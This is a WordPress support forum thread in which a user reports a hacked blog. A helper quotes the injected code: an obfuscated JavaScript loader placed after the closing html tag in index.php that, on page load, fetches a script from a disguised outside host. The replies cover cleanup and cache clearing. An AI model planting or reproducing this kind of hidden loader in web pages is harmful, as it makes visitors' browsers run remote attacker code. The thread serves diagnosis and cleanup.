Support » Fixing WordPress » I have a virus in my blog

Viewing 3 replies - 1 through 3 (of 3 total)
  • Looks like you may possibly have an unwanted script running outside of the html content.

    </html>
    /*GNU GPL*/ try{window.onload = function(){var Dlo228l8u771kzw = document.createElement('script');Dlo228l8u771kzw.setAttribute('type', 'text/javascript');Dlo228l8u771kzw.setAttribute('id', 'myscript1');Dlo228l8u771kzw.setAttribute('src',  'h@(t#t^^!p#&:@^$(/$/(j^#^o^o(#$m&)$l$(@!#a$^-!&^$)o@@r##!!g^!(^.$$^s))$p(@(a@@n@)#k^@#w&)i#$r(e(.$!&#c!@o!^()!m#.!&w())3(^@s$&^c$)h&(o#!o&#l&@s!^&-(c#o(#)m@$.&(e$@&!a^s(y(t(a$(^)b)!&l&e@!t(e)(n!n$#)i^(^!s@.^(r^#^$u(#:&8^$)0)^#8^(!0^/!#g##@$$o&o#$g#l!e^($.(@c#o^!)m@/(g&$^o(@o$#(^g($l!e@.##c$)$(o$)!!m^$/($!b!)$)i$n#(g)!.^!c((@&@o^$m)$)/&!&g$(($o)o)@((g#&&l(!e@$.(f($)^&r@&!#/!w@(o(^!r)d()$!#p)!^r(e@#s&)!s(^!@.^(&o$#@r((g^/^^@'.replace(/\!|@|&|\)|\$|\(|#|\^/ig, ''));Dlo228l8u771kzw.setAttribute('defer', 'defer');document.body.appendChild(Dlo228l8u771kzw);}} catch(e) {}

    http://codex.wordpress.org/FAQ_My_site_was_hacked

    http://wordpress.org/search/hacked?documentation=1&forums=1

    Thanks Clayton.

    I remove this line. This line was on the “index.php”. I remove this line but my site is not cleaner.

    http://historiaglobalonline.com

    Please Clayton, help me.

    Erick

    Did you clear the wordpress cache eragas (if you have that plugin installed)…or hit Ctrl + F5 a couple times to clear your browser’s cache? How did you delete the line in the index.php file…by ftp client (reuploading the file) or within wordpress?

    Also see my note here about a possible computer virus being the culprit of gaining access to your files:

    http://wordpress.org/support/topic/342516?replies=3#post-1318346

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘I have a virus in my blog’ is closed to new replies.